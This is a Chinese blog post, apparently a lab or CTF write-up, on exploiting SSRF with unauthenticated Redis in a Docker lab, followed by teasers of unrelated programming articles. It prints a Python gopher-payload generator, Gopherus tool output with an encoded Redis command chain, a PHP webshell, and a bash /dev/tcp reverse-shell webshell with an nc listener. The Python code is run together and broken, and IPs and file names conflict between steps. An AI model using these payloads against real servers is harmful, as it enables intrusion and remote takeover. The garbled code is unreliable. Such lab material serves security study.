当前位置：首页 > news >正文

利用 SSRF 和 Redis 未授权访问进行内网渗透

news 来源：原创 2025/7/3 9:28:19

环境搭建

编辑

发现内网存活主机

编辑

扫描内网端口

编辑

利用 Redis 未授权访问进行 Webshell 写入

步骤1：生成 payload

方式1：使用python生成 payload

方式二：使用 Gopher 工具

步骤 2：写入 Webshell（木马）

编辑

步骤 3：访问 Webshell 获取 flag

编辑

反弹 Shell 获取完整权限

步骤 1：修改 payload 生成反弹 Shell

步骤 2：监听端口

步骤 3：触发反弹 Shell

环境搭建

在本次实验中，我们使用 Docker 环境进行测试。

解压实验包，搭建 docker 环境。

docker环境

web的dockerfile

主要利用代码

redis服务器

通过 docker-compose up -d 启动相关容器，初次启动失败。

发现 docker 版本问题，删除 docker 版本 3，并尝试重新拉取 Ubuntu 16.04 版本：
```
docker pull ubuntu:16.04
```

重新启动后，环境成功搭建，获取内网 IP。

发现内网存活主机

使用phpinfo来看内网IP地址

我们使用抓包工具检测内网存活主机，发现 172.18.0.2 存在 HTTP 服务，并返回 Go away。

扫描内网端口

使用 burpsuite 对 172.18.0.2 进行端口扫描，发现 6379 端口返回 Redis 报错信息，说明目标主机上运行着 Redis 服务，并且可能存在未授权访问漏洞。

利用 Redis 未授权访问进行 Webshell 写入

步骤1：生成 payload

方式1：使用python生成 payload

我们利用 Redis 服务器的 config set dir 和 config set dbfilename 进行 Webshell 写入。

Python 脚本生成 gopher 协议 payload，用于 SSRF 发送 Redis 命令：

import urllib
protocol="gopher://"
ip="172.22.0.2"    # 运行着 redis 的内网主机 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print(payload)

方式二：使用 Gopher 工具

GitHub 下载地址：Gopherus

该工具使用 Python2，生成 gopher payload。记得安装

sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py

# 下载并解压后运行 install.sh
./install.sh

生成paload

root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis________              .__/  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \\______  /\____/|   __/|___|  /\___  >__|  |____//____  >\/       |__|        \/     \/                 \/author: $_SpyD3r_$Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell): PHPShell #木马语言Give web root location of server (default is /var/www/html): /var/www/html/upload #上传路径
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句话木马Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. -----------Made-by-SpyD3r-----------

步骤 2：写入 Webshell（木马）

接下来我们将生成后的payload进行二次编码

然后访问

Redis 执行后，会在 /var/www/html/upload 目录生成 shell.php，其中包含 webshell 代码。

步骤 3：访问 Webshell 获取 flag

成功写入 web.php，使用 SSRF 访问它：

/?url=http://172.18.0.2/upload/web.php

Webshell 内容：

<?php system("cat /flag");?>

访问 web.php 后即可获取 flag。

成功执行远程命令，获取 flag。

反弹 Shell 获取完整权限

如果我们希望获取完整的交互式 Shell，可以利用 bash 反弹 Shell 技术。

步骤 1：修改 payload 生成反弹 Shell

我们修改 shell 代码，使其反弹 Shell：

<?php system("bash -c 'exec bash -i >& /dev/tcp/IP/端口 0>&1'");?>

步骤 2：监听端口

在本机开启 nc 监听：

nc -lvnp 4444

步骤 3：触发反弹 Shell

访问：

/?url=http://172.17.0.2/upload/web.php

成功获得 bash 交互式 Shell，即可进一步提权、查找 flag。

利用 SSRF 和 Redis 未授权访问进行内网渗透

目录环境搭建编辑发现内网存活主机编辑扫描内网端口编辑利用 Redis 未授权访问进行 Webshell 写入步骤1：生成 payload 方式1：使用python生成 payload 方式二：使用 Gopher 工具步骤 2：写入 Webshell&#xf…...

编程日记 2025/7/3 9:28:19

计算机网络和因特网

目录 1、什么是Internet？ 1.1定义 1.2具体构成描述 2、什么是协议？ 2.1 服务描述 2.2 网络协议 3、网络边缘 3.1 定义与组成 3.2 模式 3.3服务 4、接入网、物理媒介 4.1、宽带有线接入网技术 4.2、宽带无线接入网技术 5、网络核心&#xf…...

编程日记 2025/7/3 9:13:53

1.oracle修改配置文件

1.找到oracle的安装路径 D:\app\baozi\product\11.2.0\dbhome_1\NETWORK\ADMIN ，修改下面的两个文件。如果提示没有权限，可以先把这两个文件复制到桌面，修改完后，在复制回来。 2.查看自己电脑的主机名， 右击 - 此电脑 …...

编程日记 2025/7/3 9:11:28

算法篇-------------双指针法

温馨提示：由于c语言在编程上更有优势，更加简洁，本文代码均为c代码，其他语言也可以做，思想是不变的！ 1.应用场景涉及到对数组的操作的题目，可以考虑双指针方法解决 2.基…...

编程日记 2025/6/28 1:24:39

Java关于包和final

什么是包？ 包就是文件夹。用来管理等各种不同功能的java类，方便后期代码维护包名的规则：公司域名反写包的作用，需要全部英文小写，见名知意。例如：com.pdsu.domain package com.pdsu.demain;public class…...

编程日记 2025/6/28 1:26:17

2025年华为HCIP题库分享

1101、【拖拽题】OPSF邻接关系建立的过程中需要使用不同的报文，那么请分别将以下各个状态和该状态使用的报文联系起来。答题格式为：11 22 33 43 正确答案：【12】【21】【24】【33】解析： 建立邻居关系 RouterA的一个连接到广…...

编程日记 2025/7/2 6:57:31

49. 字母异位词分组

leetcode Hot 100系列文章目录一、核心操作二、外层配合操作三、核心模式代码总结一、核心操作先把每一个词都排序，拍完之后相同的就是字母异位词使用map，排序完的作为key，一个string数组作为value对于每一个词，排完序之后将…...

编程日记 2025/7/3 9:19:49

python 语法篇（一）

目录 1 正则匹配注意点11.1 正则匹配字符串写法1.2 创建re函数（1）re.search()--搜索第一个匹配项（2）re.match() - 从字符串开头匹配（3）re.findall() - 返回所有匹配项的列表（4）re.fi…...

编程日记 2025/7/3 8:42:49

机器学习ML极简指南

机器学习是现代AI的核心，从推荐系统到自动驾驶，无处不在。但每个智能应用背后，都离不开那些奠基性的模型。本文用最简练的方式拆解核心机器学习模型，助你面试时对答如流，稳如老G。线性回归线性回归试图通过"最…...

编程日记 2025/7/3 8:42:49

爬虫：网络请求(通信)步骤，http和https协议

电脑(浏览器)：www.baidu.com——url DNS服务器：IP地址标注服务器——1.1.38 DNS服务器返回IP地址给浏览器浏览器拿到IP地址去访问服务器，返回响应服务器返回给响应数据：html/css/js/jpg... html：文本 cs…...

编程日记 2025/7/3 8:01:02

【杂谈】-大型语言模型对具身人工智能发展的推动与挑战

大型语言模型对具身人工智能发展的推动与挑战文章目录大型语言模型对具身人工智能发展的推动与挑战1. 具身人工智能（Embodied AI）的内涵解析2. 大型语言模型的功能与作用3. 最新发展趋势4. 面临的挑战与考量因素5. 总结与展望多年来，研发能…...

编程日记 2025/7/3 9:05:24

解决Beats Solo Buds 无法自动切换音频到耳机的问题

一、核心问题定位现象矛盾点： Beats 耳机能连接但需手动切换音频 AirPods 可自动切换 → 排除 iOS 系统级故障问题可能源于 Beats 固件兼容性或音频路由逻辑冲突关键差异： 设备芯片类型自动切换协议支持固件更新方式 AirPods 二代 H1芯片原…...

编程日记 2025/7/3 8:07:53

MySQL基本查询

一.create 1.1 单行数据全列插入 1.2 多行数据指定列插入 1.3插入否则更新 1.4替换二.Retrieve 2.1.SELECT列 2.1.1全列查询 2.1.2指定列查询 2.1.3查询字段为表达式 2.1.4 为查询结果指定别名 2.1.5结果去重 2.2WHERE 条件 2.2.1比较运算符 2.2.3逻辑运算符…...

编程日记 2025/7/3 1:08:26

面基：为什么不推荐用UUID作为主键

推荐回答结构： 技术理论层面分析实际项目中的教训优化改进过程总结提炼认知阐述回答在阐述回答时，你可以从 UUID 本身特性带来的问题，以及在实际工作中遇到的具体场景和优化过程等方面展开，下面从这一思路，给…...

编程日记 2025/7/3 5:20:08

oracle 常用函数的应用

在使用开发中会经常遇到数据类型转换、显示系统时间等情况，需要使用函数来实现。通过函数来实现业务需求会非常的省事便捷，函数可以用在适当的dml语句和查询语句中。 Oracle 数据库中主要使用两种类型的函数： (1)单行函数：对每一个…...

编程日记 2025/7/3 8:52:57

ubuntu的ubuntu--vg-ubuntu--lv磁盘扩容

在我们安装ubuntu时，如果选择的是自动分区，就会按照逻辑卷的形式来分区，并且只分配100G其余的并不会被分配，这对我们大多数情况来说都是不合理的，所以，如何扩充呢下面以一个小的案例来说明如何扩充问题…...

编程日记 2025/7/3 8:48:08

鬼泣：升龙系统

文章目录 0.升龙系统：升龙斩使敌人浮空升龙斩使敌人浮空：设置flying状态，不会落下 1.升龙斩：S 攻击S按下calculate directionin range warp：前提是根运动打开蒙太奇拔刀收刀canCombo：接轻攻击连击 2. A.向…...

编程日记 2025/7/3 8:56:30

UI产品经理基础（四）：用价值链视角来分析项目需求

用价值链视角来分析项目需求作为产品经理，从价值链视角分析项目需求，能够更精准地定位价值创造的关键环节，确保资源投入与用户需求、商业目标深度匹配。以下是系统化的方法论与落地步骤，结合案例说明如何实现需求分析与用户认可…...

编程日记 2025/7/3 9:09:25

ThinkPHP的“get\post\put\delete“请求

首先了解一下这四个请求的区别 1.GET 请求用途：获取资源（只读操作，不修改服务器数据）。特点： 参数通过 URL 的查询字符串（Query String） 传递（例如 /book?id1）。数…...

编程日记 2025/7/2 1:24:55

目标检测的训练策略

在目标检测竞赛中，训练策略的优化是提高模型性能的关键。常用的训练策略包括数据预处理、数据增强、超参数调节、损失函数设计、正负样本采样、模型初始化和训练技巧等。以下是一些常见的训练策略： 1. 数据预处理与数据增强数据归一化：对输…...

编程日记 2025/7/2 17:37:40

【JavaSE】小练习 —— 图书管理系统

【JavaSE】JavaSE小练习 —— 图书管理系统一、系统功能二、涉及的知识点三、业务逻辑四、代码实现4.1 book 包4.2 user 包4.3 Main 类4.4 完善管理员菜单和普通用户菜单4.5 接着4.4的管理员菜单和普通用户菜单，进行操作选择（1查找图书、2借阅图书.....…...

编程日记 2025/6/27 21:22:27

代码随想录Day29

Day29 动态规划part02 LeetCode 62.不同路径题目描述一个机器人位于一个 m x n 网格的左上角 （起始点在下图中标记为 “Start” ）。机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角（在下图中标记为 “Finish” &…...

编程日记 2025/7/3 7:56:41

Python入门（3）：语句

目录 1 基本语句 1.1 表达式语句 1.2 赋值语句 2 控制流语句 2.1 条件语句 2.2 循环语句 while循环： for循环： 2.3 流程控制语句 1. break语句：退出整个循环体 2. continue语句：只跳过本次循环，还会进…...

编程日记 2025/7/3 4:35:38

04_SQL概述及DDL

文章目录一、关于SQL1.1、SQL概述1.2、SQL分类二、数据库操作2.1、查看数据库2.2、切换数据库2.3、查询当前使用的数据库2.4、创建数据库2.5、查看数据库创建信息2.6、修改数据库2.7、删除数据库三、表的操作3.1、数据类型3.1.1、数值类型3.1.2、字符串类型3.1.3、日期时间类…...

编程日记 2025/6/30 12:53:13

如何调整yarn.nodemanager.vmem-pmem-ratio参数？

调整 yarn.nodemanager.vmem - pmem - ratio 参数，可参考以下步骤： 打开YARN配置文件找到 yarn - site.xml 文件，该文件通常位于Hadoop配置目录中，例如 /etc/hadoop/conf 或 /opt/module/hadoop - 3.1.3/etc/hadoop 。找到并修改…...

编程日记 2025/6/28 1:30:43

【质量管理】质量的系统是预防，那以预防为主的质量管理系统包括什么？

“质量的系统是预防”这是克劳士比零缺陷管理四项基本原则的第二项基本原则。什么样的系统才是一个以预防为主的质量管理系统呢？ 一个以预防为主的质量系统，必须包括三大方面：质量检验系统、质量保证系统、质量管理系统。举个例子&#xff1…...

编程日记 2025/7/2 4:15:30

JavaScript 事件流与事件委托

目录一、事件流、事件捕获与事件冒泡 1. 事件流（Event Flow） 2. 事件捕获（Event Capturing） 3. 事件冒泡（Event Bubbling） 4. 阻止事件冒泡 5. 事件解绑 6. 实际应用场景二、事件委托 1. 什么是…...

编程日记 2025/6/28 5:50:14

RAG 优化 Embedding 模型或调整检索策略

在 RAG（Retrieval-Augmented Generation）系统中，优化 Embedding 模型和调整检索策略是提升检索质量的核心手段。以下是系统化的优化方法和实践指南：一、优化 Embedding 模型 Embedding 模型的质量直接决定检索的召回率（Recall）和准确率（Precision）。优化方向包括： …...

编程日记 2025/6/28 5:53:07

Sentinel[超详细讲解]-3

主要讲解🚀 - 基于QPS/并发数的流量控制 1、流控规则流量控制（Flow Control）用于限制某个资源的访问频率，防止系统被瞬时的流量高峰冲垮。流量控制规则可以针对不同的资源进行配置，例如接口、方法、类等。流量规则的…...

编程日记 2025/7/2 23:36:57

vue3使用i18n$t()无法获取数组和对象

今天在使用i18n进行国际化时，定义了数组和对象节点，但是用$t()无法获取，只能返回字符串值，查询相关材料，解决方案如下： 使用新的api替换即可，$t > $tm 参考文章(深表谢意)：vue -…...

编程日记 2025/6/29 2:18:20

机器学习的一百个概念（5）数据增强

前言本文隶属于专栏《机器学习的一百个概念》，该专栏为笔者原创，引用请注明来源，不足和错误之处请在评论区帮忙指出，谢谢！ 本专栏目录结构和参考文献请见[《机器学习的一百个概念》 ima 知识库知识库广场搜索&…...

编程日记 2025/6/29 14:32:26

（Kotlin）Android 高效底部导航方案：基于预定义 Menu 和 ViewPager2 的 Fragment 动态绑定实现

支持预定义 Menu 并绑定 Fragment，同时保留动态添加 Tab 的能力 BottomTabHelper.kt package smartconnection.com.smartconnect.home.utilimport android.content.Context import android.util.SparseArray import androidx.annotation.IdRes import androidx.fra…...

编程日记 2025/6/29 14:57:34

零基础入门多媒体音频（4）-GENIVIProjectAudioManager总览

GENIVI Project的AudioManager是一个专门设计用于汽车信息娱乐系统的音频管理解决方案。它负责管理和控制车辆内的音频源和音频路径，确保各种音频信号能够正确、高效地在车辆的音响系统中传输和播放。 AudioManager的核心功能包括音频源的管理、音频路径的控制以及音…...

编程日记 2025/7/1 13:10:36

DeepSeek协助优化-GTX750Ti文物显卡0.65秒卷完400MB float 音频512阶时域FIR

文章目录 1. 学习目的2. 阶段成果2.1 NVVP 性能探查2.2 测试编译环境2.3 测试样例 3 学习过程3.1 提问DeepSeek3.2 最终代码 4. 体会 1. 学习目的最近在学习cuda，准备给我的taskBus SDR添加CUDA的模块支持，以便可以用PC机压榨山寨 B210那56M的带宽。因…...

编程日记 2025/7/2 21:32:20

Embedding原理

Embedding（嵌入）是将离散符号（如单词）映射到连续向量空间的核心技术，其本质是语义的数学化表示。以下是其核心原理详解： 一、基础概念图解 graph LRA[单词猫] --> B[索引5] --> C[向量[0.2, -1.3,…...

编程日记 2025/6/28 1:26:06

Spark，配置hadoop集群1

配置运行任务的历史服务器 1.配置mapred-site.xml 在hadoop的安装目录下，打开mapred-site.xml，并在该文件里面增加如下两条配置。 eg我的是在hadoop199上  <property><name>mapreduce.jobhistory.address…...

编程日记 2025/6/28 6:20:29

人工智能大模型-数据预处理-文本数据预处理-图像数据预处理

文本数据预处理大模型常用的文本数据类型通用文本数据：网页、对话和图书资料等专用文本数据：多语言文本、科学文本、代码和指令等构造方法指令数据：指令(instruction)、输入(input)、输出(output)3部分组成如果在instruction部分已…...

编程日记 2025/6/28 1:29:53

怎么使用嵌套虚拟环境实现项目部署之virtualenv嵌套conda绕开安装环境检测实现.venv部署facefusion

#工作记录一、前言嵌套虚拟环境本来是不建议的一种方法，这种嵌套虚拟环境的使用有一定特殊性，但在一些特别的使用场景下，嵌套虚拟环境的使用非常有用。二、嵌套虚拟环境： （一）conda嵌套virtualenv 该…...

编程日记 2025/7/3 4:38:53

ansible介绍以及安装

一.ansible介绍实现对IT基础设施的批量管控，加快效率，节省工作时间。 1.ansible特性 1.基于python开发，开源， 2.基于ssh协议工作。只需要确保ansible机器，与被控制机器能连通就好了， 3.no server 无…...

编程日记 2025/6/28 1:24:42

GPT-4o图像生成功能：技术突破与隐忧并存

2025年3月25日，OpenAI正式推出GPT-4o原生图像生成功能，宣称其实现了“文本到图像的终极跨越”。然而，这一被市场追捧的技术在短短72小时内便因用户需求过载触发限流，暴露出算力瓶颈与商业化矛盾的尖锐性。这场技术狂欢的背后&…...

编程日记 2025/6/29 15:00:02

Java 时间处理：轻松掌握 java.time 包

前言在 Java 开发中，日期和时间处理一直是令人头疼的问题。传统的 Date 和 Calendar 类不仅复杂，还充满了线程安全和时区处理的坑。Java 8 引入的 java.time 包彻底改变了这一局面，带来了现代化、直观且功能强大的日期时间 API。本…...

编程日记 2025/6/28 3:00:52

Vue项目中Vuex在util引入，断点存在default

示例代码 // src/store/index.js import Vue from vue; import Vuex from vuex; ……Vue.use(Vuex); export default new Vuex.Store({…… })// src/utils/index.js import store from /store // 导入默认导出的 store export async function getDict() {store.state.userInf…...

编程日记 2025/7/2 23:26:46

2025宁德时代测评Verify考什么？网申测评如何通过SHL笔试｜附真题线上笔试考点、高分攻略、CATL新能源科技SHL测评宁德社招题目、面试攻略、求职建议

——职小豚带你拆解新能源巨头招聘密码一、宁德时代：新能源赛道「超级独角兽」作为全球动力电池龙头，宁德时代（CATL）的江湖地位无需多言： 技术硬实力：麒麟电池、钠离子电池、无钴电池等黑科技加持&…...

编程日记 2025/7/1 12:36:03

谈谈常见的数据结构（如数组、链表、栈、队列、哈希表、树、图）及其应用场景

一、数组（Array） 定义：连续存储相同类型数据的线性结构，支持随机访问。应用场景：列表渲染、数据缓存、算法处理代码示例： // 数组基本操作 const arr [1, 2, 3, 4]; arr.push(5); // O(1) 平均时间复杂…...

编程日记 2025/6/29 5:48:18

【＜二＞丹方改良：Spring 时代的 JavaWeb】之 Spring Boot 中的 AOP：实现日志记录与性能监控

答应我，这篇一定要看到最后~！ <前文回顾> 点击此处查看合集 https://blog.csdn.net/foyodesigner/category_12907601.html?fromshareblogcolumn&sharetypeblogcolumn&sharerId12907601&sharereferPC&sharesourceFoyoDesigner&a…...

编程日记 2025/6/28 7:11:34

【算法】快速幂

一、概念快速幂是一种高效的指数运算，当指数范围过大时，通过位运算能够减少大量的计算次数对于，我们通过将指数b转化为二进制数，就可以将分解为许多的（其中i是指数b中对应位为1的位数） 例如&#xff0…...

编程日记 2025/6/28 1:28:59

使用卷积神经网络识别MNIST数据集

卷积神经网络卷积神经网络本质是共享权重稀疏链接的全连接网络编写步骤构建一个神经网络，步骤是几乎不变的，大概有以下几步准备数据集 #更高级的CNN网络 import torch import torch.nn as nn import torch.nn.functional as F import torchvisi…...

编程日记 2025/6/28 1:24:53

JavaScript 中数组增删改查

在 JavaScript 中，数组是一种用来存储不同类型的值的数据结构。增加数组元素： let arr = [1, 2, 3];// 在数组末尾添加元素 arr.push(4); console.log(arr); // [1, 2, 3, 4]// 在数组开头添加元素 arr.unshift(0); console.log(arr); // [0, 1, 2, 3, 4]// 在指定位置插…...

编程日记 2025/6/28 1:24:50

【Kettle安装】Kettle安装过程, 电脑已安装java23,安装Kettle 出现报错:尝试启动 Java 虚拟机（JVM）时失败解决方法

Kettle安装 Kettle 通常指的是 Pentaho Data Integration (PDI)，这是一款开源的 ETL（Extract, Transform, Load）工具，用于数据集成、数据清洗和数据分析。它的核心工具名为 Spoon，但整个项目常被直接称为 Kettle 数据…...

编程日记 2025/6/29 20:26:09

Spring笔记04-注解注入

1.导入包 <dependency><groupId>org.springframework</groupId><artifactId>spring-beans</artifactId><version>5.2.7.RELEASE</version></dependency><dependency><groupId>org.springframework</groupId>…...

编程日记 2025/7/2 7:39:05

环境搭建

发现内网存活主机

扫描内网端口

利用 Redis 未授权访问进行 Webshell 写入

步骤1：生成 payload

方式1：使用python生成 payload

方式二：使用 Gopher 工具

步骤 2：写入 Webshell（木马）

步骤 3：访问 Webshell 获取 flag

反弹 Shell 获取完整权限

步骤 1：修改 payload 生成反弹 Shell

步骤 2：监听端口

步骤 3：触发反弹 Shell

相关文章：